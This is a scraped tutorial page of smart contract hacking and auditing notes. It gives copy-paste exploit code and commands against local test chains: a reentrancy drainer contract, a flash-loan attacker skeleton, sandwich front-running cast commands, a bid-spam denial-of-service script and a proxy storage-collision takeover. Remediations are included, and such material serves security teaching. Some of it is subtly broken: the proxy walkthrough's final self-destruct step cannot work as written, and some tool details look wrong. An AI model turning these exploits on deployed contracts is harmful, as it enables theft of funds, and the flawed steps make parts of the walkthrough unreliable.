Smart Contract Hacking Notes
Notes for Smart Contract Hacking
Smart Contract Hacking & Auditing Notes
These notes are structured to guide you through common smart contract vulnerabilities, their detection, and exploitation, with a focus on practical, copy-pasteable commands and code snippets. They are particularly useful for EVM (Ethereum Virtual Machine) compatible blockchains (Ethereum, BSC, Polygon, Avalanche, etc.).
Smart Contract Fundamentals
EVM (Ethereum Virtual Machine): The runtime environment for smart contracts. Contracts compile to EVM bytecode.
Solidity: The most popular high-level language for writing smart contracts on EVM chains.
ABI (Application Binary Interface): Defines how to interact with a smart contract (function names, arguments, return types).
Bytecode: The low-level, machine-readable code executed by the EVM.
Gas: A unit of computation on the EVM, paid for in the native cryptocurrency (e.g., ETH).
Tx.origin vs. Msg.sender:
msg.sender
: The immediate caller of the function (can be another contract or an EOA).tx.origin
: The original initiator of the transaction (always an EOA). Avoidtx.origin
for authentication!
Setup & Environment
Development Frameworks (Local Setup)
Foundry (Recommended for Hacking/Auditing): Fast, powerful, and Solidity-native.
Installation:
1 2
curl -L https://foundry.paradigm.xyz | bash foundryup
Create a new project:
1 2
forge init my-contract-audit cd my-contract-audit
Compile:
forge build
Test:
forge test
Deploy (local Anvil):
1 2
anvil # Start local blockchain in a separate terminal forge create --rpc http://127.0.0.1:8545 src/MyContract.sol:MyContract --private-key <your-anvil-private-key>
Hardhat: Popular JavaScript-based framework.
Installation:
1 2
npm install --save-dev hardhat npx hardhat init # Choose "Create a JavaScript project"
Compile:
npx hardhat compile
Test:
npx hardhat test
Run local node:
npx hardhat node
Blockchain Explorers
- Etherscan (and forks like BscScan, PolygonScan): Indispensable for on-chain analysis.
- Go to contract address -> “Read Contract” / “Write Contract” tabs for basic interaction.
- “Code” tab to verify source code and look for proxies.
Decompilers & Disassemblers
EVM Pwn: Online EVM disassembler/decompiler. Paste bytecode to analyze.
https://www.evmpwn.com/
Porosity: Static decompiler.
Installation: Requires Rust.
1 2 3
git clone https://github.com/comsec-group/porosity.git cd porosity cargo build --release
Usage:
porosity -b <bytecode.bin>
Dedaub’s Contract-Library (Online): Excellent for deep analysis of deployed contracts, including storage slot analysis.
https://contract-library.dedaub.com/
Reconnaissance & Initial Analysis
Gathering Information
- Identify Contract Addresses:
- From project documentation.
- From blockchain explorers (e.g., Etherscan, search by project name or token symbol).
- Verify Source Code:
- Check if the contract source code is verified on Etherscan/Block Explorer. If not, this significantly increases difficulty.
- Download verified source code: Use Etherscan’s “Code” tab.
- Identify Proxies:
- Look for
delegatecall
in the bytecode or “Is this a Proxy?” notice on Etherscan. - If it’s a proxy, you need both the proxy address (for interaction) and the implementation address (for audit).
- Pro Tip: Use Etherscan’s “Read Contract” tab on the proxy, often there’s a function like
implementation()
or a slot you can read to find the logic contract.
- Look for
- Check for Known Libraries:
- OpenZeppelin, Chainlink, etc. These are generally secure but double-check their specific versions and ensure they are used correctly.
- Identify Key Roles & Owners:
- Look for
owner
,admin
,minters
,pausers
variables. - Check constructor arguments and
renounceOwnership()
functions. - Identify multi-sig wallets (e.g., Gnosis Safe) if present.
- Look for
- Understand the Business Logic:
- What is the contract supposed to do?
- What are the critical functions (minting, transfers, governance, upgrades)?
- Map out potential attack surfaces based on the intended functionality. Create a data flow diagram.
Initial Static Analysis (Manual Code Review)
- Read the
README.md
and Documentation: Understand the project’s goals. - Look at Constructor: Are initial states, ownership, or critical parameters set correctly? Are any critical initializations missing or incorrectly configured?
- Identify Modifiers:
onlyOwner
,require
,revert
. What access controls are in place? Are they correctly applied? - Function Visibility: Are sensitive functions
private
orinternal
? Are external functions correctly designed and restricted? - External Calls: Identify
call()
,delegatecall()
,transfer()
,send()
. These are red flags for reentrancy or external contract interaction issues. Trace all external calls. - State Variables: How are critical balances, allowances, and ownership recorded? Are they updated correctly?
- Constants & Immutables: Are important values hardcoded or correctly set?
- Error Handling: Are
require
/revert
statements used effectively to prevent unintended states?
Common Smart Contract Vulnerabilities & Exploitation
This section covers high-impact vulnerabilities. Always remember the “Attack Trees” approach: identify a target, then list ways to achieve it.
Reentrancy [High Severity]
Description: An external call is made to an untrusted contract before the state variables are updated. The untrusted contract can then call back into the original contract, executing a function multiple times.
Detection: Look for
call()
,send()
,transfer()
where the state is updated after the external call.Exploitation Scenario (Example: Basic Ether Withdrawal):
Vulnerable Contract (Victim.sol):
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Victim { mapping(address => uint) public balances; constructor() payable { balances[address(this)] = msg.value; // Store initial balance (bad practice) } function deposit() public payable { balances[msg.sender] += msg.value; } function withdraw() public { uint amount = balances[msg.sender]; require(amount > 0, "No balance to withdraw"); // VULNERABLE: External call before state update (bool success, ) = msg.sender.call{value: amount}(""); require(success, "Withdrawal failed"); balances[msg.sender] = 0; // State update AFTER call } function getBalance() public view returns (uint) { return address(this).balance; } }
Attacker Contract (Attacker.sol):
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IVictim { function withdraw() external; function deposit() external payable; } contract Attacker { IVictim public victim; constructor(address _victimAddress) { victim = IVictim(_victimAddress); } function attack() public payable { victim.deposit{value: msg.value}(); victim.withdraw(); } receive() external payable { // This function is called when Victim sends Ether back // Re-enter the withdraw function as long as there's enough Ether to make it worthwhile if (address(victim).balance >= 1 ether) { victim.withdraw(); } } function getBalance() public view returns (uint) { return address(this).balance; } function withdrawAttackerBalance() public { (bool success, ) = payable(msg.sender).call{value: address(this).balance}(""); require(success, "Failed to withdraw from attacker contract"); } }
Exploitation Steps (using Forge/Foundry):
Prepare:
Open two terminals. In one, start Anvil:
1
anvil
In the other terminal, get an attacker private key from Anvil’s output (e.g., the second account’s private key). Let’s call it
<ATTACKER_PRIVATE_KEY>
. The first account’s private key will be<OWNER_PRIVATE_KEY>
.Ensure you have
cast
installed (comes with Foundry).
Deploy Victim Contract with Initial Balance:
1 2
forge create --rpc http://127.0.0.1:8545 --private-key <OWNER_PRIVATE_KEY> src/Victim.sol:Victim --value 10 ether # Copy the deployed address, e.g., 0xVictimContractAddress
Deploy Attacker Contract (pointing to Victim):
1 2
forge create --rpc http://127.0.0.1:8545 --private-key <ATTACKER_PRIVATE_KEY> src/Attacker.sol:Attacker 0xVictimContractAddress # Copy the deployed address, e.g., 0xAttackerContractAddress
Fund Attacker Contract and Initiate Attack:
- The
attack()
function inAttacker.sol
includes a deposit, so we send value with it.
1
cast send --rpc-url http://127.0.0.1:8545 --private-key <ATTACKER_PRIVATE_KEY> 0xAttackerContractAddress "attack()" --value 1 ether
- The
Verify Victim Balance (should be drained or significantly reduced):
1 2
cast call --rpc-url http://127.0.0.1:8545 0xVictimContractAddress "getBalance()(uint256)" # Expected output should be close to 0
Withdraw funds from Attacker contract (optional, to see total gain):
1
cast send --rpc-url http://127.0.0.1:8545 --private-key <ATTACKER_PRIVATE_KEY> 0xAttackerContractAddress "withdrawAttackerBalance()"
Remediation:
- Checks-Effects-Interactions Pattern: Update state before external calls.
- Reentrancy Guard: Use a mutex (e.g., OpenZeppelin’s
ReentrancyGuard
). - Use
transfer()
orsend()
for Ether transfers (limit gas to 2300, preventing reentrancy for simple Ether sends). However, prefercall()
with specific gas limits or checks-effects-interactions for more complex interactions where higher gas is needed.
Access Control Vulnerabilities [High Severity]
Description: Improper restrictions on who can execute sensitive functions.
Detection: Missing
onlyOwner
,require(msg.sender == owner)
,require(isAdmin[msg.sender])
, or misconfigured role-based access. Check all functions that modify state for proper access controls.Exploitation Scenario (Example: Missing
onlyOwner
onsetPrice
):Vulnerable Contract (Product.sol):
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Product { address public owner; uint public price; constructor(uint _initialPrice) { owner = msg.sender; price = _initialPrice; } function setPrice(uint _newPrice) public { // VULNERABLE: Anyone can call price = _newPrice; } function buy() public payable { require(msg.value >= price, "Not enough Ether"); // ... buy logic ... } }
Exploitation Steps (using Cast/Forge):
Prepare:
- Start Anvil in a separate terminal.
- Get an attacker private key (e.g., the second account’s private key from Anvil output). Let’s call it
<ATTACKER_PRIVATE_KEY>
. - Get the owner’s private key (the first account’s private key from Anvil output). Let’s call it
<OWNER_PRIVATE_KEY>
.
Deploy Vulnerable Contract:
1 2
forge create --rpc http://127.0.0.1:8545 --private-key <OWNER_PRIVATE_KEY> src/Product.sol:Product 1000000000000000000 # 1 Ether initial price (in wei) # Copy the deployed address, e.g., 0xProductContractAddress
Check Current Price (as Owner or anyone):
1 2
cast call --rpc-url http://127.0.0.1:8545 0xProductContractAddress "price()(uint256)" # Expected output: 1000000000000000000
Attacker Calls
setPrice
to Lower Price:1
cast send --rpc-url http://127.0.0.1:8545 --private-key <ATTACKER_PRIVATE_KEY> 0xProductContractAddress "setPrice(uint256)" 1000000000000000 # Set to 0.001 Ether
Verify New Price (should be lowered):
1 2
cast call --rpc-url http://127.0.0.1:8545 0xProductContractAddress "price()(uint256)" # Expected output: 1000000000000000
Remediation:
- Use
onlyOwner
or role-based access control (RBAC) for sensitive functions. - Implement robust RBAC using libraries like OpenZeppelin’s
AccessControl
orOwnable
.
- Use
Integer Overflows/Underflows [Medium Severity, High Impact]
Description: Occurs when an arithmetic operation results in a value outside the range of the variable type (e.g.,
uint256
max value is2^256 - 1
). In Solidity 0.8.0+, these operations revert by default, which is a good security measure. However, customunchecked
blocks or older Solidity versions (<= 0.7.x) are still vulnerable.Detection: Look for arithmetic operations (
+
,-
,*
,/
) withoutSafeMath
(older Solidity) or withinunchecked { ... }
blocks (Solidity 0.8.0+). Pay special attention to loops and calculations involving user-supplied input.Exploitation Scenario (Example: Underflow on Balance Subtraction in <= 0.7.x or
unchecked
block):Vulnerable Contract (Token.sol - pre-0.8.0 or with
unchecked
):// SPDX-License-Identifier: MIT pragma solidity ^0.7.0; // Target vulnerable version for default underflow contract Token { mapping(address => uint256) public balances; constructor(uint256 _initialSupply) { balances[msg.sender] = _initialSupply; } function transfer(address _to, uint256 _amount) public returns (bool) { require(balances[msg.sender] >= _amount, "Insufficient balance"); balances[msg.sender] -= _amount; // VULNERABLE in 0.7.x if _amount > balances[msg.sender] balances[_to] += _amount; return true; } function withdrawAll() public returns (bool) { // Simulating an underflow in a common scenario (e.g., deducting gas/fee without proper check) // In 0.7.x, if balances[msg.sender] is 0, balances[msg.sender] - 1 would underflow to 2^256 - 1 balances[msg.sender] = balances[msg.sender] - 1; // Direct subtraction, problematic if balance is 0 or less than 1 return true; } }
Exploitation Steps (Targeting
withdrawAll
on a 0.7.x contract wherebalances[msg.sender]
is 0):Prepare:
Start Anvil.
Get an attacker private key (
<ATTACKER_PRIVATE_KEY>
).To compile
Token.sol
with0.7.0
, you might need to adjust yourfoundry.toml
or usesolc
directly:1 2 3 4
[profile.default] solc = "0.7.0" # For multiple solc versions with forge: # solc_version = "0.7.0"
Then
forge build
.
Deploy Vulnerable Contract:
- Deploy with an initial supply to the owner. The attacker’s balance will be 0.
1 2
forge create --rpc http://127.0.0.1:8545 --private-key <OWNER_PRIVATE_KEY> src/Token.sol:Token 1000 # Copy the deployed address, e.g., 0xTokenContractAddress
Ensure Attacker’s balance is 0 for
withdrawAll
scenario:- By default, the attacker (using a fresh Anvil key) will have 0 balance in this
Token
contract.
- By default, the attacker (using a fresh Anvil key) will have 0 balance in this
Attacker calls
withdrawAll
:1
cast send --rpc-url http://127.0.0.1:8545 --private-key <ATTACKER_PRIVATE_KEY> 0xTokenContractAddress "withdrawAll()"
Check Attacker’s Balance: It will be a huge number due to underflow.
1 2
cast call --rpc-url http://127.0.0.1:8545 0xTokenContractAddress "balances(address)(uint256)" <ATTACKER_ADDRESS> # Expected output: a very large number like 115792089237316195423570985008687907853269984665640564039457584007913129639935 (2^256 - 1)
Remediation:
- Use Solidity
0.8.0+
(default checks for overflow/underflow). - For older versions, use OpenZeppelin’s
SafeMath
library. - Always validate inputs and check boundary conditions before arithmetic operations, even in
0.8.0+
if usingunchecked
blocks.
- Use Solidity
Flash Loan Attacks [High Severity]
Description: Using uncollateralized flash loans to manipulate oracle prices, drain liquidity pools, or exploit logic flaws that rely on immediate, large capital. Not a direct vulnerability of the contract itself, but an exploit primitive. The target contract must have a vulnerability that can be triggered by large, sudden capital shifts.
Detection: Contracts that rely on single-source price feeds (especially from AMMs like Uniswap V2/Sushiswap, where
getReserves()
is used), or have logic that can be manipulated by sudden, large token movements (e.g., rebalancing mechanisms, liquidations based on manipulated prices).Exploitation Strategy:
- Borrow (Flash Loan): Take a large loan of a specific token from a lending protocol (e.g., Aave, Balancer, Uniswap V2/V3). This happens within a single transaction.
- Manipulate: Inside the flash loan callback, use the borrowed funds to artificially inflate/deflate prices on a DEX (e.g., perform a large swap to move the price significantly), exploit a vulnerable oracle, or interact with a faulty protocol.
- Exploit: Execute the core attack logic (e.g., arbitrage, draining a vulnerable vault, triggering a liquidation).
- Repay: Repay the flash loan plus a small fee before the transaction ends. If repayment fails, the entire transaction reverts.
Exploitation Steps (Conceptual - highly specific to target dApp):
This requires a custom attacker contract.
Attacker Contract (Simplified structure):
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; // Interface for a flash loan provider (e.g., Aave's ILendingPool or Uniswap's IUniswapV2Pair) interface IFlashLoanProvider { function flashLoan(address receiver, uint256 amount) external; // For Uniswap V2/Sushi, it's `swap` with specific parameters // function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; } interface IVulnerableTarget { // Assume a vulnerable function here, e.g., one relying on a manipulable price function vulnerableAction() external; } contract FlashLoanAttacker { IFlashLoanProvider public flashLoanProvider; IVulnerableTarget public target; IERC20 public tokenToLoan; // The token we want to flash loan constructor(address _flashLoanProvider, address _target, address _tokenToLoan) { flashLoanProvider = IFlashLoanProvider(_flashLoanProvider); target = IVulnerableTarget(_target); tokenToLoan = IERC20(_tokenToLoan); } function startAttack(uint256 _amount) public { // Example for a simple flash loan provider that takes a receiver and amount flashLoanProvider.flashLoan(address(this), _amount); } // This is the callback function that the flash loan provider will call // The exact signature depends on the flash loan protocol (e.g., `executeOperation` for Aave) function executeOperation( address asset, uint256 amount, uint256 premium, address initiator, bytes calldata params ) external returns (bool) { require(msg.sender == address(flashLoanProvider), "Only FL provider can call"); require(asset == address(tokenToLoan), "Unexpected asset"); // --- 1. Manipulate Price / Setup Exploit (inside the flash loan context) --- // Example: Perform a large swap on a DEX to manipulate the price of a token // e.g., uniswapPair.swap(borrowed_amount, 0, address(target), ""); // --- 2. Execute Core Exploit on Target --- target.vulnerableAction(); // This action relies on the manipulated state/price // --- 3. Reverse Manipulation / Clean up (if needed) --- // e.g., uniswapPair.swap(0, return_amount, address(this), ""); // --- 4. Repay Flash Loan --- uint256 amountToRepay = amount + premium; require(tokenToLoan.balanceOf(address(this)) >= amountToRepay, "Insufficient funds to repay FL"); tokenToLoan.approve(address(flashLoanProvider), amountToRepay); tokenToLoan.transfer(address(flashLoanProvider), amountToRepay); // Or `transferFrom` for some protocols return true; } // Fallback to receive tokens, needed if target sends tokens directly receive() external payable {} function getBalance(IERC20 _token) public view returns (uint256) { return _token.balanceOf(address(this)); } }
Tools: Foundry/Hardhat for contract development and local testing. Use a local fork of a mainnet to simulate real flash loan providers (e.g., Anvil with
--fork-url
).Forking with Anvil:
1
anvil --fork-url https://eth-mainnet.alchemyapi.io/v2/<YOUR_ALCHEMY_KEY>
Then deploy your
FlashLoanAttacker
and callstartAttack
with an appropriate flash loan amount.
Remediation:
- Use robust, decentralized, and time-weighted average price (TWAP) oracles (e.g., Chainlink) instead of spot prices from AMMs.
- Implement sanity checks on price inputs (e.g.,
require
that the price doesn’t deviate too much from a reference). - Design logic to be resistant to sudden, large balance shifts.
Oracle Manipulation [High Severity]
- Description: Manipulating the external data source (oracle) that a smart contract uses to get information (e.g., token prices, random numbers). This is often a component of a flash loan attack.
- Detection: Contracts relying on a single, easily manipulable source for critical data (e.g.,
Uniswap.getReserves()
,Chainlink.latestAnswer()
without proper aggregation). - Exploitation (often combined with Flash Loans): See Flash Loan section for a conceptual example. The core idea is to change the data source’s value, then call the vulnerable contract that relies on that value.
- Remediation:
- Use decentralized and robust oracle solutions (e.g., Chainlink, which aggregates data from multiple sources).
- Implement TWAP (Time-Weighted Average Price) oracles over a sufficiently long period to smooth out sudden price spikes.
- Use multiple oracle sources and aggregate data, requiring a majority consensus.
- Implement circuit breakers or pause mechanisms if prices deviate wildly.
Front-running / Sandwich Attacks [Medium Severity]
Description: An attacker observes a pending transaction in the mempool and submits their own transaction(s) with higher gas fees to execute before or around the victim’s transaction, profiting from the victim’s action.
Detection: Any public function that changes state based on real-time external conditions (e.g., DEX swaps, NFT mints with fixed supply at a specific price, auctions, liquidations). Look for
msg.value
being used directly ormsg.gasprice
.Exploitation Strategy (e.g., Sandwiching a DEX Swap):
- Monitor Mempool: Use tools (e.g.,
mev-inspect-py
, custom Go/Python scripts with WebSockets) to monitor pending transactions for large or profitable swaps. - Craft Attack Tx (Buy): Create a transaction to buy the asset the victim is selling, just before their transaction. Submit this with a slightly higher gas price than the victim. This moves the price against the victim.
- Victim’s Tx: The victim’s transaction executes at a worse price.
- Craft Attack Tx (Sell): Create a transaction to sell the asset you just bought, immediately after the victim’s transaction. Submit this with a slightly higher gas price than the victim (or a block later). This moves the price back and captures the profit.
Payload Example (Conceptual for a DEX swap):
1 2 3 4 5 6 7 8 9 10
# Assume victim wants to swap TOKEN_A for TOKEN_B # Attacker's Buy (front-run): # Swap ETH for TOKEN_A, moving price of TOKEN_A up relative to ETH cast send --rpc-url <rpc_url> --private-key <attacker_private_key> <uniswap_router_address> "swapExactETHForTokens(uint256,address[],address,uint256)" 0 <path_to_tokenA> <attacker_address> <deadline> --value <large_eth_amount> --gas-price <victim_gas_price + delta> # Victim's Tx executes # Attacker's Sell (back-run): # Swap TOKEN_A back for ETH, profiting from the price movement cast send --rpc-url <rpc_url> --private-key <attacker_private_key> <uniswap_router_address> "swapExactTokensForETH(uint256,uint256,address[],address,uint256)" <tokenA_amount_bought> 0 <path_to_eth> <attacker_address> <deadline> --gas-price <victim_gas_price + delta + delta_2>
- Monitor Mempool: Use tools (e.g.,
Remediation:
- Use commit-reveal schemes for sensitive operations (e.g., auctions, NFT mints).
- Implement slippage tolerance for DEX trades.
- Design functions that are less sensitive to transaction ordering (e.g., batching, not revealing critical information directly in tx data).
- Consider Flashbots Protect RPC for sending transactions directly to miners without going through the public mempool. This provides transaction privacy and prevents front-running.
Denial of Service (DoS) [Medium Severity]
Description: Attacker prevents legitimate users from interacting with a contract or a function.
Detection: Loops over dynamic arrays, reliance on external contract calls that can revert or be blocked, unbounded operations, gas limit issues, or reliance on external entities for critical state transitions.
Exploitation Scenario (Example: Loop over a dynamically growing array in a withdrawal/refund function):
Vulnerable Contract (Auction.sol):
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Auction { address[] public bidders; mapping(address => uint) public bids; address public highestBidder; uint public highestBid; bool public ended; function bid() public payable { require(!ended, "Auction has ended"); bidders.push(msg.sender); // VULNERABLE: Array can grow indefinitely bids[msg.sender] += msg.value; if (msg.value > highestBid) { highestBid = msg.value; highestBidder = msg.sender; } } function endAuction() public { require(!ended, "Auction already ended"); // VULNERABLE: Iterating over bidders to send refunds could exceed gas limit for (uint i = 0; i < bidders.length; i++) { if (bidders[i] != highestBidder) { // This specific `call` with require could also lead to DoS if a bidder's contract rejects the refund (bool success, ) = bidders[i].call{value: bids[bidders[i]]}(""); require(success, "Refund failed"); } } ended = true; } }
Exploitation Steps:
Prepare: Start Anvil. Get an attacker private key (
<ATTACKER_PRIVATE_KEY>
).Deploy Vulnerable Contract:
1 2
forge create --rpc http://127.0.0.1:8545 --private-key <OWNER_PRIVATE_KEY> src/Auction.sol:Auction # Copy 0xAuctionContractAddress
Attacker Floods
bid()
: The attacker creates a script or a simple contract to make many small bids from different addresses (or from the same address multiple times if not restricted) to increasebidders.length
.Simple loop in a script (e.g., using
cast
and a loop):1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
# Example Bash script to spam bids (replace with actual contract address and keys) AUCTION_CONTRACT="0xAuctionContractAddress" RPC_URL="http://127.0.0.1:8545" # Using a few different private keys to simulate multiple bidders PRIVATE_KEY_1="0x..." # attacker's key 1 PRIVATE_KEY_2="0x..." # attacker's key 2 PRIVATE_KEY_3="0x..." # attacker's key 3 for i in $(seq 1 1000); do # Spam 1000 bids KEY_TO_USE="" if [ $((i % 3)) -eq 0 ]; then KEY_TO_USE=$PRIVATE_KEY_1; elif [ $((i % 3)) -eq 1 ]; then KEY_TO_USE=$PRIVATE_KEY_2; else KEY_TO_USE=$PRIVATE_KEY_3; fi echo "Sending bid $i with key $KEY_TO_USE" cast send --rpc-url $RPC_URL --private-key $KEY_TO_USE $AUCTION_CONTRACT "bid()" --value 100 # Small bid # You might need to add a sleep here depending on your node's rate limits/block time done
Alternatively, deploy a “spammer” contract that calls
bid()
repeatedly in a loop.
Owner Tries to Call
endAuction()
:1 2
cast send --rpc-url http://127.0.0.1:8545 --private-key <OWNER_PRIVATE_KEY> 0xAuctionContractAddress "endAuction()" # This transaction will likely fail with an "Out of Gas" error if the array is large enough.
Remediation:
- Avoid iterating over dynamically sized arrays in critical functions (especially loops where gas cost is unbounded).
- Implement “pull over push” for sending Ether (users withdraw their refunds/winnings, not pushed by contract).
- Use gas-efficient data structures (e.g., fixed-size arrays where possible).
- Set reasonable limits for array sizes or number of iterations.
- Implement a “claim” function instead of a single
endAuction
loop that processes all refunds.
Centralization Risks / Ownership Takeover [High Severity]
Description: Excessive power given to a single owner/admin, or the ability for an attacker to become the owner due to flawed transfer mechanisms.
Detection:
onlyOwner
pattern, single point of failure (e.g., a single EOA controlling critical contract parameters), missing or flawedrenounceOwnership()
, or flaws in ownership transfer mechanisms (e.g., no two-step transfer).Exploitation Scenario (Example:
transferOwnership
to zero address or lack of two-step transfer):Vulnerable Pattern:
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract MyContract { address public owner; constructor() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner, "Not owner"); _; } function transferOwnership(address _newOwner) public onlyOwner { // VULNERABLE: No confirmation step and allows setting to address(0) owner = _newOwner; } // ... potentially other sensitive owner-only functions ... }
Exploitation Steps (Owner accidentally sets
owner
toaddress(0)
):Prepare: Start Anvil. Get owner’s private key (
<OWNER_PRIVATE_KEY>
).Deploy Vulnerable Contract:
1 2
forge create --rpc http://127.0.0.1:8545 --private-key <OWNER_PRIVATE_KEY> src/MyContract.sol:MyContract # Copy 0xMyContractAddress
Owner Calls
transferOwnership
withaddress(0)
(mistake):1
cast send --rpc-url http://127.0.0.1:8545 --private-key <OWNER_PRIVATE_KEY> 0xMyContractAddress "transferOwnership(address)" 0x0000000000000000000000000000000000000000
Verify Owner:
1 2 3
cast call --rpc-url http://127.0.0.1:8545 0xMyContractAddress "owner()(address)" # Expected output: 0x0000000000000000000000000000000000000000 # The contract is now unmanaged, and no one can call onlyOwner functions.
Remediation:
- Use OpenZeppelin’s
Ownable2Step
for ownership transfers, which requires the new owner to accept the transfer. - Implement multi-signature wallets (e.g., Gnosis Safe) for critical roles or funds to distribute power and reduce single points of failure.
- Carefully design the scope of owner/admin permissions; adhere to the principle of least privilege.
- Use OpenZeppelin’s
Delegatecall
Vulnerabilities (Proxy Exploitation) [Critical Severity]
Description:
delegatecall
executes code from another contract (the “implementation” or “logic” contract) in the context of the calling contract (the “proxy” contract). Misuse can lead to storage collision, logic hijacking, or even self-destructing the proxy, allowing an attacker to gain control or drain funds.Detection: Presence of
delegatecall
opcode. Common in upgradeable proxy patterns. Crucial to understand the proxy standard being used (e.g., UUPS, Transparent Proxy, Beacon Proxy).Exploitation Scenario (Example: Proxy pattern with uninitialized logic contract allowing storage collision/takeover):
Proxy Contract (Simplified for demonstration, in reality use standard patterns):
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Proxy { // storage slot 0 address public implementation; // storage slot 1 address public proxyOwner; // This is the proxy's owner variable constructor(address _implementation, address _proxyOwner) { implementation = _implementation; proxyOwner = _proxyOwner; } // Fallback function for all calls fallback() external payable { (bool success, bytes memory result) = implementation.delegatecall(msg.data); require(success, string(abi.encodePacked("Delegatecall failed: ", result))); } }
Implementation Contract (Vulnerable Init and Storage Layout):
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract VulnerableLogic { // storage slot 0 - this will collide with 'implementation' in the Proxy address public logicOwner; // storage slot 1 - this will collide with 'proxyOwner' in the Proxy uint256 public someValue; // VULNERABLE: No check if already initialized, allows re-initialization function initialize(address _owner, uint256 _value) public { logicOwner = _owner; someValue = _value; } function doSomethingOnlyLogicOwnerCan() public { require(msg.sender == logicOwner, "Not logic owner"); // ... sensitive logic ... } function selfDestructContract() public { // If logicOwner can be set by attacker, they can self-destruct the proxy! require(msg.sender == logicOwner, "Not authorized to self-destruct"); selfdestruct(payable(logicOwner)); } }
Exploitation Steps (Attacker Re-initializes Logic via Proxy, taking over
proxyOwner
):Prepare: Start Anvil. Get owner’s private key (
<OWNER_PRIVATE_KEY>
). Get an attacker private key (<ATTACKER_PRIVATE_KEY>
).Deploy
VulnerableLogic
:1 2
forge create --rpc http://127.0.0.1:8545 --private-key <OWNER_PRIVATE_KEY> src/VulnerableLogic.sol:VulnerableLogic # Copy 0xLogicContractAddress
Deploy
Proxy
:1 2 3
forge create --rpc http://127.0.0.1:8545 --private-key <OWNER_PRIVATE_KEY> src/Proxy.sol:Proxy 0xLogicContractAddress <OWNER_ADDRESS> # Copy 0xProxyContractAddress # The proxy's `proxyOwner` is initially set to <OWNER_ADDRESS>
Verify Initial
proxyOwner
of the Proxy:1 2
cast call --rpc-url http://127.0.0.1:8545 0xProxyContractAddress "proxyOwner()(address)" # Expected output: <OWNER_ADDRESS>
Attacker Calls
initialize
on the *Proxy*:- The
initialize
function ofVulnerableLogic
is called viadelegatecall
on theProxy
. VulnerableLogic
’slogicOwner
(slot 0) will write toProxy
’simplementation
(slot 0).VulnerableLogic
’ssomeValue
(slot 1) will write toProxy
’sproxyOwner
(slot 1).- We will set
_owner
parameter ofinitialize
to a garbage value (oraddress(0)
) and_value
toATTACKER_ADDRESS
as auint256
.
1 2 3 4 5 6 7
# Convert ATTACKER_ADDRESS to uint256 for `someValue` param. # cast --to-dec <ATTACKER_ADDRESS> will give a large number, but ABI expects uint256 directly for address. # The important part is that the attacker's address, when cast to uint256, is written to storage slot 1. # We can send the attacker's address directly. Solidity ABI encoding handles this. ATTACKER_ADDR_AS_UINT="<ATTACKER_ADDRESS>" # Use your attacker's actual address here cast send --rpc-url http://127.0.0.1:8545 --private-key <ATTACKER_PRIVATE_KEY> 0xProxyContractAddress "initialize(address,uint256)" 0x0000000000000000000000000000000000000000 <ATTACKER_ADDR_AS_UINT>
- The
Verify New
proxyOwner
of the Proxy:1 2 3
cast call --rpc-url http://127.0.0.1:8545 0xProxyContractAddress "proxyOwner()(address)" # Expected output: <ATTACKER_ADDRESS> (or the attacker's address converted to 20-byte if cast shows a different format) # The attacker has effectively taken over the proxy's ownership by overwriting its storage slot!
Attacker Calls
selfDestructContract()
on Proxy (now controlled by attacker):1 2
cast send --rpc-url http://127.0.0.1:8545 --private-key <ATTACKER_PRIVATE_KEY> 0xProxyContractAddress "selfDestructContract()" # This will destroy the proxy, rendering the entire system unusable!
Remediation:
- Use battle-tested proxy patterns (e.g., OpenZeppelin’s UUPS or Transparent Proxies), which handle storage slot management and initialization carefully.
- Ensure initializer functions can only be called once, using an
_initialized
flag (e.g.,_disableInitializers
modifier from OpenZeppelin). - Carefully manage storage slots in proxy and implementation contracts, ensuring no collisions. OpenZeppelin’s upgradeable contracts handle this via “gap” variables.
Private Key Management & Wallet Exploits [Critical Severity]
- Description: Compromise of private keys gives direct control over associated accounts and contracts. This is typically an external vulnerability, but the smart contract might exacerbate it (e.g., if it relies on a single EOA owner for all critical operations).
- Detection: Poor operational security (OpSec), phishing, malware, insecure handling of mnemonic phrases/keystores.
- Exploitation:
- Phishing/Social Engineering: Convince a victim to reveal their seed phrase or private key (e.g., fake websites, malicious DMs).
- Malware: Keyloggers, clipboard hijackers, infostealers on the victim’s machine.
- Weak Random Number Generation (for key generation): (Less common for direct key compromise, more for generating predictable keys, but still a risk).
- Supply Chain Attacks: Compromised software (e.g., malicious NPM package, VS Code extension) injecting code to steal keys.
- Improper Key Storage: Storing private keys in plaintext, in public repositories, or on insecure servers.
- Remediation:
- Hardware wallets (Ledger, Trezor): Best practice for securing significant assets.
- Multi-signature wallets (e.g., Gnosis Safe): Essential for critical funds, treasury, or contract ownership, requiring multiple approvals for transactions.
- Strong, unique passwords: For all online accounts, especially those related to crypto.
- Air-gapped machines: For highly critical operations (e.g., signing multi-sig transactions).
- Educate users about phishing: Be wary of unsolicited links, messages, and software.
- Regular Security Audits: For internal systems and practices related to key management.
- Never share your seed phrase/private key.
Automated Analysis Tools
While manual review is crucial, automated tools assist significantly by finding common patterns and highlighting potential issues.
Slither (Recommended Static Analyzer):
Installation:
pip3 install slither-analyzer
Analyze a contract:
slither path/to/MyContract.sol
Detect specific issues:
slither path/to/MyContract.sol --detect reentrancy,access-control
Generate call graph:
slither path/to/MyContract.sol --print call-graph
List detectors:
slither --list-detectors
Integration with Foundry: You can run Slither on your Foundry project directly.
1
slither .
Mythril (Symbolic Execution):
Installation:
pip3 install mythril
Analyze a contract:
myth analyze path/to/MyContract.sol
Analyze deployed contract (requires Infura/Alchemy API key):
1
myth analyze -a <contract-address> --rpc <rpc-url> --solc-version <solidity-version>
Echidna (Fuzzing Tool):
- Installation: Follow instructions on
https://github.com/crytic/echidna
. Requires Nix. - Usage: Write invariant tests in Solidity, then run Echidna.
- Example:
echidna my_contract_test.sol --contract MyContractTest
- Example:
- Installation: Follow instructions on
